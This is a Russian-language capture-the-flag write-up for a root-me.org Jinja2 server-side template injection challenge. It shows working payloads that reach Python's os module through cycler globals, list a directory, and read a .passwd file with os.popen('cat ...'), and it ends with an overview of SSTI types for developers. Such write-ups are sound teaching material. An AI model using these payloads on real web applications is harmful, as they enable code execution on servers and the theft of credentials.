Отвлечёмся от работы, переключимся на решение задач по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "Python - Server-side Template Injection Introduction". За решение задачки дают 25 баллов, средний уровень.
Сегодня мы встретимся с опасной уязвимостью типа SSTI.
Server-side Template Injection (SSTI) — внедрение шаблонов на стороне сервера. Внедрение шаблонов на стороне сервера — это тип уязвимости, которая может возникнуть в веб-приложениях, когда злоумышленник может внедрить вредоносный код в шаблон на стороне сервера. (Капитан Очевидность одобряет.)
Обычно код выполняется на стороне сервера и генерирует динамический контент для браузера пользователя. При атаке SSTI злоумышленник может внедрить свой код в шаблон на стороне сервера и выполнить произвольный код. Собственно, и код выполнит и результат в браузере увидит.
По условию задачи нам предложат web-сервис, который генерирует веб-страничку. Нужно использовать этот сервис для получения флага.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org:59074/
Веб сервис прост, для ввода предлагают два поля, заголовок (title) и содержимое (content). Проверим, введём что-нибудь.
Генерируем страницу: Render your page! В ответ получаем JSON вида:
{
"content": "internet-lab was here",
"title": "hello"
}
Всё понятно, шарманка работает.
В описании задания предлагали ознакомиться с полезным материалом, предлагают статью:
https://podalirius.net/en/publications/grehack-2021-optimizing-ssti-payloads-for-jinja2/
В статье рассказывается о разных полезных нагрузках для шаблонизатора jinja2.
Jinja2 — Python-библиотека для генерации шаблонов, являющаяся де-факто стандартом при написании веб-приложений на Flask и популярной альтернативой встроенной системе шаблонов Django. Jinja2 позиционирует себя как инструмент, упрощающий вёрстку и отделяющий её от разработки. Помогает разделить работу верстальщиков и разработчиков Python.
Предположительно web-сервис основан на шаблонизаторе Jinja2. В сервисе имеется уязвимость SSTI, позволяющая выполнить стороннюю команду. Давайте проверим, можем ли мы что-нибудь внедрить. Внедрим код:
{{ 2+2 }}
Получаем JSON:
{
"content": "4",
"title": "{{ 2+2 }}"
}
Пол дела сделано. Мы обнаружили что поле content уязвимо к инъекции.
Не заморачиваемся и из статьи про полезную нагрузку Jinja2 вытаскиваем эту самую полезную нагрузку:
{{ cycler.__init__.__globals__.os }}
Используя её можно получить доступ к объекту os. Сразу двигаем мысль дальше, os.getcwd() позволит нам определить текущее положение:
{{ cycler.__init__.__globals__.os.getcwd() }}
Получаем JSON:
{
"content": "/challenge/web-serveur/ch74",
"title": "internet-lab.ru"
}
Мы с вами находимся в директории /challenge/web-serveur/ch74. Посмотрим её содержимое с помощью os.listdir():
{{ cycler.__init__.__globals__.os.listdir("/challenge/web-serveur/ch74") }}
Получаем JSON:
{
"content": "['requirements.txt', '.git', 'templates', '._nginx.server-level.inc', '.passwd', 'server_ch74.py', 'static', '._firewall', '._perms', '._run']",
"title": "internet-lab.ru"
}
Замечаем интересный файл ".passwd". Считаем его с помощью os.popen():
{{ cycler.__init__.__globals__.os.popen('cat /challenge/web-serveur/ch74/.passwd').readlines()[0] }}
Флаг получен. Валидируем.
И зарабатываем 25 очков.
Безопасность
Существует разные типы внедрения шаблонов на стороне сервера (SSTI), которые могут возникать в веб-приложениях. Наиболее распространенные:
- Интерполяция строк. Вводимые пользователем данные непосредственно вставляются в строку шаблона.
- Внедрение объекта. Злоумышленник может внедрить сериализованный объект в шаблон, который может быть десериализован и, соответственно, выполнен.
- Внедрение кода. Злоумышленник может внедрить произвольный код в шаблон на стороне сервера и выполнять произвольные команды.
- Внедрение команд. Пользовательский ввод используется в шаблоне для создания команды, которая потом выполняется.
- Внедрение выражения. Злоумышленник может внедрить вредоносное выражение в шаблон и выполнить произвольный код.
- Внедрение шаблона с помощью сценариев на стороне клиента. Злоумышленник может внедрить вредоносный код JavaScript в шаблон на стороне сервера, используя атаку межсайтового скриптинга (XSS).
Все эти типы уязвимостей SSTI могут быть опасны. Разработчикам важно знать о них и уметь предотвращать их в своих веб-приложениях.